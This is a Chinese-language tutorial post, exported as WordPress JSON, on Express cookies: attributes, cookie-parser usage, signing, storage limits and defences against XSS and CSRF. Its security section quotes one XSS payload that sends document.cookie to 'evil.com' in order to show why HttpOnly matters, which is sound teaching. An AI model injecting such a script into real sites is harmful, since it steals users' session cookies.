{"id":100613,"date":"2026-09-04T22:16:56","date_gmt":"2026-09-04T14:16:56","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/100613.html"},"modified":"2026-09-04T22:16:56","modified_gmt":"2026-09-04T14:16:56","slug":"node%e7%b3%bb%e5%88%97-%c2%b7-express%ef%bc%9acookie-%e7%9a%84%e5%9f%ba%e6%9c%ac%e6%a6%82%e5%bf%b5","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/100613.html","title":{"rendered":"Node\u7cfb\u5217 \u00b7 Express\uff1acookie \u7684\u57fa\u672c\u6982\u5ff5"},"content":{"rendered":"<h2>Node\u7cfb\u5217 \u00b7 Express&#xff1a;cookie \u7684\u57fa\u672c\u6982\u5ff5<\/h2>\n<p>Cookie \u662f Web \u6700\u53e4\u8001\u7684\u5ba2\u6237\u7aef\u5b58\u50a8\u673a\u5236\u2014\u2014\u6d4f\u89c8\u5668\u6bcf\u6b21\u8bf7\u6c42\u81ea\u52a8\u5e26\u4e0a\u540c\u6e90 Cookie\u3002\u672c\u7ae0\u8bb2\u6e05\u695a Cookie \u7684\u5de5\u4f5c\u539f\u7406\u3001\u5173\u952e\u5c5e\u6027\u3001\u5b89\u5168\u95ee\u9898\u3002<\/p>\n<h3>\u4e00\u3001Cookie \u662f\u4ec0\u4e48<\/h3>\n<p>Cookie \u662f\u670d\u52a1\u5668\u4e0b\u53d1\u7ed9\u6d4f\u89c8\u5668\u7684\u5c11\u91cf\u6570\u636e&#xff0c;\u6d4f\u89c8\u5668\u81ea\u52a8\u5728\u540e\u7eed\u8bf7\u6c42\u4e2d\u5e26\u56de\u53bb&#xff1a;<\/p>\n<p>\u670d\u52a1\u5668\u6d4f\u89c8\u5668\u670d\u52a1\u5668\u6d4f\u89c8\u5668#mermaid-svg-ewLg1f16IBsthEaF{font-family:\\&#8221;trebuchet ms\\&#8221;,verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-ewLg1f16IBsthEaF .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-ewLg1f16IBsthEaF .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-ewLg1f16IBsthEaF .error-icon{fill:#552222;}#mermaid-svg-ewLg1f16IBsthEaF .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-ewLg1f16IBsthEaF .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-ewLg1f16IBsthEaF .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-ewLg1f16IBsthEaF .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-ewLg1f16IBsthEaF .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-ewLg1f16IBsthEaF .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-ewLg1f16IBsthEaF .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-ewLg1f16IBsthEaF .marker{fill:#333333;stroke:#333333;}#mermaid-svg-ewLg1f16IBsthEaF .marker.cross{stroke:#333333;}#mermaid-svg-ewLg1f16IBsthEaF svg{font-family:\\&#8221;trebuchet ms\\&#8221;,verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-ewLg1f16IBsthEaF p{margin:0;}#mermaid-svg-ewLg1f16IBsthEaF .actor{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-ewLg1f16IBsthEaF text.actor&gt;tspan{fill:black;stroke:none;}#mermaid-svg-ewLg1f16IBsthEaF .actor-line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-ewLg1f16IBsthEaF .innerArc{stroke-width:1.5;stroke-dasharray:none;}#mermaid-svg-ewLg1f16IBsthEaF .messageLine0{stroke-width:1.5;stroke-dasharray:none;stroke:#333;}#mermaid-svg-ewLg1f16IBsthEaF .messageLine1{stroke-width:1.5;stroke-dasharray:2,2;stroke:#333;}#mermaid-svg-ewLg1f16IBsthEaF #arrowhead path{fill:#333;stroke:#333;}#mermaid-svg-ewLg1f16IBsthEaF .sequenceNumber{fill:white;}#mermaid-svg-ewLg1f16IBsthEaF #sequencenumber{fill:#333;}#mermaid-svg-ewLg1f16IBsthEaF #crosshead path{fill:#333;stroke:#333;}#mermaid-svg-ewLg1f16IBsthEaF .messageText{fill:#333;stroke:none;}#mermaid-svg-ewLg1f16IBsthEaF .labelBox{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-ewLg1f16IBsthEaF .labelText,#mermaid-svg-ewLg1f16IBsthEaF .labelText&gt;tspan{fill:black;stroke:none;}#mermaid-svg-ewLg1f16IBsthEaF .loopText,#mermaid-svg-ewLg1f16IBsthEaF .loopText&gt;tspan{fill:black;stroke:none;}#mermaid-svg-ewLg1f16IBsthEaF .loopLine{stroke-width:2px;stroke-dasharray:2,2;stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-ewLg1f16IBsthEaF .note{stroke:#aaaa33;fill:#fff5ad;}#mermaid-svg-ewLg1f16IBsthEaF .noteText,#mermaid-svg-ewLg1f16IBsthEaF .noteText&gt;tspan{fill:black;stroke:none;}#mermaid-svg-ewLg1f16IBsthEaF .activation0{fill:#f4f4f4;stroke:#666;}#mermaid-svg-ewLg1f16IBsthEaF .activation1{fill:#f4f4f4;stroke:#666;}#mermaid-svg-ewLg1f16IBsthEaF .activation2{fill:#f4f4f4;stroke:#666;}#mermaid-svg-ewLg1f16IBsthEaF .actorPopupMenu{position:absolute;}#mermaid-svg-ewLg1f16IBsthEaF .actorPopupMenuPanel{position:absolute;fill:#ECECFF;box-shadow:0px 8px 16px 0px rgba(0,0,0,0.2);filter:drop-shadow(3px 5px 2px rgb(0 0 0 \/ 0.4));}#mermaid-svg-ewLg1f16IBsthEaF .actor-man line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-ewLg1f16IBsthEaF .actor-man circle,#mermaid-svg-ewLg1f16IBsthEaF line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;stroke-width:2px;}#mermaid-svg-ewLg1f16IBsthEaF :root{&#8211;mermaid-font-family:\\&#8221;trebuchet ms\\&#8221;,verdana,arial,sans-serif;}GET \/login (\u65e0 Cookie)Set-Cookie: sessionId&#061;abc123GET \/api\/users (Cookie: sessionId&#061;abc123)200 OK (\u8bc6\u522b\u4e3a\u5df2\u767b\u5f55)<\/p>\n<p>\u4e3b\u8981\u7528\u4e8e&#xff1a;<\/p>\n<ul>\n<li>\u4f1a\u8bdd\u7ba1\u7406&#xff1a;\u767b\u5f55\u72b6\u6001\u3001\u8d2d\u7269\u8f66<\/li>\n<li>\u4e2a\u6027\u5316&#xff1a;\u504f\u597d\u8bbe\u7f6e\u3001\u4e3b\u9898<\/li>\n<li>\u8ffd\u8e2a&#xff1a;\u5e7f\u544a\u6295\u653e&#xff08;GA\u3001Facebook Pixel&#xff09;<\/li>\n<\/ul>\n<h3>\u4e8c\u3001Cookie \u7684\u5173\u952e\u5c5e\u6027<\/h3>\n<p>HTTP\/1.1 200 OK<br \/>\nSet-Cookie: token&#061;abc123; Path&#061;\/; Expires&#061;Wed, 21 Oct 2026 07:28:00 GMT; HttpOnly; Secure; SameSite&#061;Lax<\/p>\n<table>\n<tr>\u5c5e\u6027\u4f5c\u7528<\/tr>\n<tbody>\n<tr>\n<td>Name&#061;Value<\/td>\n<td>\u952e\u503c\u5bf9\u6570\u636e<\/td>\n<\/tr>\n<tr>\n<td>Domain<\/td>\n<td>\u54ea\u4e9b\u57df\u540d\u53ef\u89c1&#xff08;\u9ed8\u8ba4\u5f53\u524d\u57df&#xff09;<\/td>\n<\/tr>\n<tr>\n<td>Path<\/td>\n<td>\u54ea\u4e9b\u8def\u5f84\u53d1\u9001&#xff08;\u9ed8\u8ba4 \/&#xff09;<\/td>\n<\/tr>\n<tr>\n<td>Expires \/ Max-Age<\/td>\n<td>\u8fc7\u671f\u65f6\u95f4&#xff1b;\u4e0d\u8bbe &#061; \u4f1a\u8bdd\u7ea7&#xff08;\u5173\u6d4f\u89c8\u5668\u5c31\u6d88\u5931&#xff09;<\/td>\n<\/tr>\n<tr>\n<td>HttpOnly<\/td>\n<td>JS \u65e0\u6cd5\u8bbf\u95ee&#xff08;\u9632 XSS&#xff09;<\/td>\n<\/tr>\n<tr>\n<td>Secure<\/td>\n<td>\u4ec5 HTTPS \u4f20\u8f93<\/td>\n<\/tr>\n<tr>\n<td>SameSite<\/td>\n<td>\u8de8\u7ad9 Cookie \u9650\u5236&#xff08;\u9632 CSRF&#xff09;<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4>2.1 \u91cd\u8981\u5c5e\u6027\u8be6\u89e3<\/h4>\n<p>HttpOnly&#xff1a;JS \u901a\u8fc7 document.cookie \u8bfb\u4e0d\u5230\u2014\u2014\u9632 XSS \u5077 Cookie&#xff1a;<\/p>\n<p>\/\/ \u6709 HttpOnly&#xff1a;\u8fd4\u56de\u7a7a\u5b57\u7b26\u4e32<br \/>\ndocument.cookie;<br \/>\n\/\/ \u65e0 HttpOnly&#xff1a;\u8fd4\u56de &#039;token&#061;abc123&#039;<\/p>\n<p>Secure&#xff1a;\u53ea\u901a\u8fc7 HTTPS \u53d1\u9001\u2014\u2014HTTP \u8bf7\u6c42\u4e2d\u6d4f\u89c8\u5668\u4f1a\u81ea\u52a8\u5220\u9664\u8fd9\u4e2a Cookie\u3002<\/p>\n<p>SameSite&#xff1a;<\/p>\n<table>\n<tr>\u503c\u884c\u4e3a<\/tr>\n<tbody>\n<tr>\n<td>Strict<\/td>\n<td>\u4efb\u4f55\u8de8\u7ad9\u8bf7\u6c42\u90fd\u4e0d\u5e26<\/td>\n<\/tr>\n<tr>\n<td>Lax&#xff08;\u9ed8\u8ba4&#xff09;<\/td>\n<td>\u8de8\u7ad9 GET \u5bfc\u822a\u5e26&#xff0c;POST \/ \u8868\u5355\u63d0\u4ea4 \/ iframe \u4e0d\u5e26<\/td>\n<\/tr>\n<tr>\n<td>None<\/td>\n<td>\u4efb\u4f55\u8bf7\u6c42\u90fd\u5e26&#xff08;\u5fc5\u987b\u914d\u5408 Secure&#xff09;<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Lax \u662f\u73b0\u4ee3\u6d4f\u89c8\u5668\u9ed8\u8ba4&#xff0c;\u5f3a\u70c8\u63a8\u8350\u2014\u2014\u80fd\u6321\u6389\u5927\u90e8\u5206 CSRF \u653b\u51fb\u3002<\/p>\n<h3>\u4e09\u3001Node \u64cd\u4f5c Cookie<\/h3>\n<h4>3.1 \u8bbe\u7f6e Cookie<\/h4>\n<p>\/\/ \u65b9\u5f0f 1&#xff1a;\u7528 Set-Cookie header<br \/>\nres.setHeader(&#039;Set-Cookie&#039;, &#039;token&#061;abc123; HttpOnly; Path&#061;\/; Max-Age&#061;3600&#039;);<\/p>\n<p>\/\/ \u65b9\u5f0f 2&#xff1a;\u7528 cookie-parser&#xff08;\u63a8\u8350&#xff09;<br \/>\nres.cookie(&#039;token&#039;, &#039;abc123&#039;, {<br \/>\n  httpOnly: true,<br \/>\n  secure: true,           \/\/ \u751f\u4ea7\u73af\u5883<br \/>\n  sameSite: &#039;lax&#039;,<br \/>\n  maxAge: 60 * 60 * 1000,  \/\/ 1 \u5c0f\u65f6<br \/>\n});<\/p>\n<h4>3.2 \u8bfb\u53d6 Cookie<\/h4>\n<p>const cookie &#061; require(&#039;cookie-parser&#039;);<\/p>\n<p>app.use(cookie());<\/p>\n<p>app.get(&#039;\/api\/profile&#039;, (req, res) &#061;&gt; {<br \/>\n  const token &#061; req.cookies.token;<br \/>\n  if (!token) {<br \/>\n    return res.status(401).json({ error: &#039;\u672a\u767b\u5f55&#039; });<br \/>\n  }<br \/>\n  \/\/ \u9a8c\u8bc1 token&#8230;<br \/>\n  res.json({ user: &#039;alice&#039; });<br \/>\n});<\/p>\n<p>req.cookies \u662f\u5bf9\u8c61&#xff1a;{ token: &#039;abc123&#039;, theme: &#039;dark&#039; }\u3002<\/p>\n<h4>3.3 \u5220\u9664 Cookie<\/h4>\n<p>res.clearCookie(&#039;token&#039;);<\/p>\n<p>\u670d\u52a1\u5668\u65e0\u6cd5\u771f\u6b63&#034;\u5220\u9664&#034;\u5ba2\u6237\u7aef\u7684 Cookie&#xff0c;\u53ea\u80fd\u901a\u8fc7 Set-Cookie \u628a\u5b83\u8bbe\u4e3a\u8fc7\u671f\u2014\u2014\u6d4f\u89c8\u5668\u6536\u5230\u540e\u4f1a\u81ea\u52a8\u6e05\u9664\u3002<\/p>\n<h3>\u56db\u3001Cookie \u5927\u5c0f\u4e0e\u6570\u91cf\u9650\u5236<\/h3>\n<table>\n<tr>\u6d4f\u89c8\u5668\u5355 Cookie \u5927\u5c0f\u6bcf\u57df\u540d Cookie \u6570<\/tr>\n<tbody>\n<tr>\n<td>Chrome<\/td>\n<td>4096 \u5b57\u8282<\/td>\n<td>~180<\/td>\n<\/tr>\n<tr>\n<td>Firefox<\/td>\n<td>4096 \u5b57\u8282<\/td>\n<td>~150<\/td>\n<\/tr>\n<tr>\n<td>Safari<\/td>\n<td>4096 \u5b57\u8282<\/td>\n<td>~600<\/td>\n<\/tr>\n<tr>\n<td>Edge<\/td>\n<td>4096 \u5b57\u8282<\/td>\n<td>~180<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>::: warning<br \/>\nCookie \u4e0d\u9002\u5408\u5b58\u5927\u91cf\u6570\u636e\u2014\u2014\u5355\u4e2a 4KB \u4e0a\u9650&#xff0c;\u6bcf\u4e2a\u57df\u540d\u603b\u6570\u4e5f\u6709\u9650\u5236\u3002\u5927\u91cf\u6570\u636e\u7528 sessionStorage \/ localStorage \/ IndexedDB\u3002<br \/>\n:::<\/p>\n<h3>\u4e94\u3001\u5b89\u5168\u98ce\u9669<\/h3>\n<h4>5.1 XSS \u5077 Cookie<\/h4>\n<p>\u653b\u51fb\u8005\u6ce8\u5165 &lt;script&gt;fetch(&#039;evil.com?c&#061;&#039; &#043; document.cookie)&lt;\/script&gt; \u628a Cookie \u53d1\u8d70\u3002<\/p>\n<p>\u9632\u62a4&#xff1a;Cookie \u8bbe HttpOnly\u2014\u2014JS \u8bfb\u4e0d\u5230\u3002<\/p>\n<h4>5.2 CSRF&#xff08;\u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020&#xff09;<\/h4>\n<p>\u7528\u6237\u5df2\u767b\u5f55 bank.com&#xff0c;\u8bbf\u95ee\u6076\u610f\u9875\u9762&#xff0c;\u6076\u610f\u9875\u9762\u81ea\u52a8\u63d0\u4ea4\u8f6c\u8d26\u8bf7\u6c42\u2014\u2014\u6d4f\u89c8\u5668\u81ea\u52a8\u5e26\u4e0a Cookie\u3002<\/p>\n<p>\u9632\u62a4&#xff1a;<\/p>\n<table>\n<tr>\u624b\u6bb5\u539f\u7406<\/tr>\n<tbody>\n<tr>\n<td>SameSite&#061;Lax<\/td>\n<td>\u8de8\u7ad9\u8bf7\u6c42\u4e0d\u5e26 Cookie&#xff08;\u73b0\u4ee3\u6d4f\u89c8\u5668\u9ed8\u8ba4&#xff09;<\/td>\n<\/tr>\n<tr>\n<td>CSRF Token<\/td>\n<td>\u8868\u5355\u5e26\u670d\u52a1\u7aef\u751f\u6210\u7684 token&#xff0c;\u653b\u51fb\u8005\u62ff\u4e0d\u5230<\/td>\n<\/tr>\n<tr>\n<td>\u68c0\u67e5 Origin \/ Referer<\/td>\n<td>\u8de8\u7ad9\u8bf7\u6c42\u7684\u7279\u5f81\u5b57\u6bb5<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4>5.3 Cookie \u7be1\u6539<\/h4>\n<p>Cookie \u5b58\u5ba2\u6237\u7aef&#xff0c;\u7406\u8bba\u4e0a\u53ef\u88ab\u4fee\u6539\u2014\u2014\u6240\u4ee5\u6c38\u8fdc\u4e0d\u8981\u628a\u5173\u952e\u72b6\u6001\u76f4\u63a5\u653e Cookie \u660e\u6587\u3002\u8981\u4e48&#xff1a;<\/p>\n<ul>\n<li>\u7b7e\u540d&#xff08;HMAC-SHA256&#xff09;\u9632\u6b62\u7be1\u6539<\/li>\n<li>\u52a0\u5bc6\u5b58 sessionId&#xff0c;\u670d\u52a1\u7aef\u6821\u9a8c session<\/li>\n<\/ul>\n<p>cookie-parser \u7684 secret \u53c2\u6570\u5c31\u662f\u7528\u6765\u7b7e\u540d\u9a8c\u8bc1\u7684\u3002<\/p>\n<p>app.use(cookieParser(&#039;my-secret&#039;));<\/p>\n<p>\/\/ \u8bbe\u7f6e\u7b7e\u540d Cookie<br \/>\nres.cookie(&#039;user&#039;, &#039;alice&#039;, { signed: true });<\/p>\n<p>\/\/ \u8bfb\u53d6&#xff1a;req.signedCookies.user \u662f\u9a8c\u7b7e\u540e\u7684\u503c<br \/>\n\/\/ \u5982\u679c\u88ab\u7be1\u6539&#xff0c;req.signedCookies.user &#061;&#061;&#061; false<\/p>\n<h3>\u516d\u3001Cookie vs LocalStorage vs SessionStorage<\/h3>\n<table>\n<tr>\u7ef4\u5ea6CookieLocalStorageSessionStorage<\/tr>\n<tbody>\n<tr>\n<td>\u5bb9\u91cf<\/td>\n<td>4KB<\/td>\n<td>~5MB<\/td>\n<td>~5MB<\/td>\n<\/tr>\n<tr>\n<td>\u81ea\u52a8\u968f\u8bf7\u6c42\u53d1\u9001<\/td>\n<td>\u2705<\/td>\n<td>\u274c<\/td>\n<td>\u274c<\/td>\n<\/tr>\n<tr>\n<td>JS \u53ef\u8bbf\u95ee<\/td>\n<td>\u53d7 HttpOnly \u9650\u5236<\/td>\n<td>\u2705<\/td>\n<td>\u2705<\/td>\n<\/tr>\n<tr>\n<td>\u751f\u547d\u5468\u671f<\/td>\n<td>\u53ef\u8bbe\u8fc7\u671f<\/td>\n<td>\u6c38\u4e45&#xff08;\u9664\u975e\u4e3b\u52a8\u5220&#xff09;<\/td>\n<td>\u5173\u9875\u9762\u5373\u6e05<\/td>\n<\/tr>\n<tr>\n<td>\u8de8\u6807\u7b7e\u9875\u5171\u4eab<\/td>\n<td>\u2705<\/td>\n<td>\u2705<\/td>\n<td>\u274c&#xff08;\u4ec5\u5f53\u524d\u6807\u7b7e&#xff09;<\/td>\n<\/tr>\n<tr>\n<td>\u7528\u9014<\/td>\n<td>\u4f1a\u8bdd\u6807\u8bc6\u3001\u8ffd\u8e2a<\/td>\n<td>\u672c\u5730\u7f13\u5b58<\/td>\n<td>\u8868\u5355\u8349\u7a3f<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u9009\u578b\u51b3\u7b56&#xff1a;<\/p>\n<table>\n<tr>\u6570\u636e\u7c7b\u578b\u63a8\u8350<\/tr>\n<tbody>\n<tr>\n<td>\u4f1a\u8bdd ID \/ \u767b\u5f55\u6001<\/td>\n<td>Cookie&#xff08;HttpOnly &#043; Secure&#xff09;<\/td>\n<\/tr>\n<tr>\n<td>JWT token<\/td>\n<td>Cookie&#xff08;\u9632 XSS \u5077&#xff09; \u6216 Authorization header<\/td>\n<\/tr>\n<tr>\n<td>\u7528\u6237\u504f\u597d \/ \u8349\u7a3f<\/td>\n<td>LocalStorage \/ SessionStorage<\/td>\n<\/tr>\n<tr>\n<td>\u7f13\u5b58\u5927\u4f53\u79ef\u6570\u636e<\/td>\n<td>IndexedDB<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>\u4e03\u3001\u6700\u4f73\u5b9e\u8df5<\/h3>\n<table>\n<tr>\u573a\u666f\u63a8\u8350<\/tr>\n<tbody>\n<tr>\n<td>\u767b\u5f55\u6001 Cookie<\/td>\n<td>HttpOnly &#043; Secure &#043; SameSite&#061;Lax &#043; Max-Age<\/td>\n<\/tr>\n<tr>\n<td>JWT \u5b58\u50a8<\/td>\n<td>Cookie&#xff08;\u9632 XSS&#xff09;\u6bd4 LocalStorage \u66f4\u5b89\u5168<\/td>\n<\/tr>\n<tr>\n<td>\u7b2c\u4e09\u65b9\u8ffd\u8e2a Cookie<\/td>\n<td>\u52a0 SameSite&#061;None; Secure&#xff08;\u8de8\u7ad9\u5fc5\u9700&#xff09;<\/td>\n<\/tr>\n<tr>\n<td>\u654f\u611f\u6570\u636e<\/td>\n<td>\u4e0d\u8981\u5b58 Cookie\u2014\u2014\u53ea\u5b58 ID&#xff0c;\u8be6\u60c5\u67e5\u670d\u52a1\u7aef<\/td>\n<\/tr>\n<tr>\n<td>\u7b7e\u540d \/ \u52a0\u5bc6<\/td>\n<td>cookie-parser(secret) &#043; signed: true<\/td>\n<\/tr>\n<tr>\n<td>\u5220\u9664<\/td>\n<td>\u670d\u52a1\u7aef\u7528 res.clearCookie()<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>\u516b\u3001\u5c0f\u7ed3<\/h3>\n<ul>\n<li>Cookie \u662f\u6d4f\u89c8\u5668\u81ea\u52a8\u968f\u8bf7\u6c42\u53d1\u9001\u7684\u5c0f\u6570\u636e\u2014\u2014\u7528\u4e8e\u4f1a\u8bdd\u7ba1\u7406 \/ \u4e2a\u6027\u5316 \/ \u8ffd\u8e2a<\/li>\n<li>\u5173\u952e\u5c5e\u6027&#xff1a;HttpOnly&#xff08;\u9632 XSS&#xff09;\u3001Secure&#xff08;\u4ec5 HTTPS&#xff09;\u3001SameSite&#061;Lax&#xff08;\u9632 CSRF&#xff09;<\/li>\n<li>\u670d\u52a1\u7aef\u7528 cookie-parser \u8bfb\u53d6&#xff1a;req.cookies \/ req.signedCookies<\/li>\n<li>\u8bbe\u7f6e&#xff1a;res.cookie(name, value, options)&#xff1b;\u5220\u9664&#xff1a;res.clearCookie(name)<\/li>\n<li>\u6c38\u8fdc\u4e0d\u8981\u5728 Cookie \u5b58\u654f\u611f\u6570\u636e\u660e\u6587\u2014\u2014\u53ea\u5b58 ID&#xff0c;\u8be6\u60c5\u67e5\u670d\u52a1\u7aef<\/li>\n<li>Cookie vs LocalStorage&#xff1a;Cookie \u81ea\u52a8\u968f\u8bf7\u6c42\u53d1\u9001\u9002\u5408\u4f1a\u8bdd&#xff0c;LocalStorage \u9002\u5408\u672c\u5730\u7f13\u5b58<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Node\u7cfb\u5217 \u00b7 Express&#xff1a;cookie \u7684\u57fa\u672c\u6982\u5ff5Cookie \u662f Web \u6700\u53e4\u8001\u7684\u5ba2\u6237\u7aef\u5b58\u50a8\u673a\u5236\u2014\u2014\u6d4f\u89c8\u5668\u6bcf\u6b21\u8bf7\u6c42\u81ea\u52a8\u5e26\u4e0a\u540c\u6e90 Cookie\u3002\u672c\u7ae0\u8bb2\u6e05\u695a Cookie \u7684\u5de5\u4f5c\u539f\u7406\u3001\u5173\u952e\u5c5e\u6027\u3001\u5b89\u5168\u95ee\u9898\u3002\u4e00\u3001Cookie \u662f\u4ec0\u4e48<br \/>\nCookie \u662f\u670d\u52a1\u5668\u4e0b\u53d1\u7ed9\u6d4f\u89c8\u5668\u7684\u5c11\u91cf\u6570\u636e&#xff0c;\u6d4f\u89c8\u5668\u81ea\u52a8\u5728\u540e\u7eed\u8bf7\u6c42\u4e2d\u5e26\u56de\u53bb&#xff1a;<br \/>\n\u670d\u52a1\u5668\u6d4f\u89c8\u5668\u670d\u52a1\u5668\u6d4f\u89c8\u5668#mermaid-svg-ewLg1f16IBsthEaF{font-family:\\&#8221;trebuch<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[709],"topic":[],"class_list":["post-100613","post","type-post","status-publish","format-standard","hentry","category-server","tag-express"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Node\u7cfb\u5217 \u00b7 Express\uff1acookie \u7684\u57fa\u672c\u6982\u5ff5 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/100613.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Node\u7cfb\u5217 \u00b7 Express\uff1acookie \u7684\u57fa\u672c\u6982\u5ff5 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"Node\u7cfb\u5217 \u00b7 Express&#xff1a;cookie \u7684\u57fa\u672c\u6982\u5ff5Cookie \u662f Web \u6700\u53e4\u8001\u7684\u5ba2\u6237\u7aef\u5b58\u50a8\u673a\u5236\u2014\u2014\u6d4f\u89c8\u5668\u6bcf\u6b21\u8bf7\u6c42\u81ea\u52a8\u5e26\u4e0a\u540c\u6e90 Cookie\u3002\u672c\u7ae0\u8bb2\u6e05\u695a Cookie \u7684\u5de5\u4f5c\u539f\u7406\u3001\u5173\u952e\u5c5e\u6027\u3001\u5b89\u5168\u95ee\u9898\u3002\u4e00\u3001Cookie \u662f\u4ec0\u4e48 Cookie \u662f\u670d\u52a1\u5668\u4e0b\u53d1\u7ed9\u6d4f\u89c8\u5668\u7684\u5c11\u91cf\u6570\u636e&#xff0c;\u6d4f\u89c8\u5668\u81ea\u52a8\u5728\u540e\u7eed\u8bf7\u6c42\u4e2d\u5e26\u56de\u53bb&#xff1a; \u670d\u52a1\u5668\u6d4f\u89c8\u5668\u670d\u52a1\u5668\u6d4f\u89c8\u5668#mermaid-svg-ewLg1f16IBsthEaF{font-family:&quot;trebuch\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/100613.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-09-04T14:16:56+00:00\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/100613.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/100613.html\",\"name\":\"Node\u7cfb\u5217 \u00b7 Express\uff1acookie \u7684\u57fa\u672c\u6982\u5ff5 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-09-04T14:16:56+00:00\",\"dateModified\":\"2026-09-04T14:16:56+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/100613.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/100613.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/100613.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Node\u7cfb\u5217 \u00b7 Express\uff1acookie \u7684\u57fa\u672c\u6982\u5ff5\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required 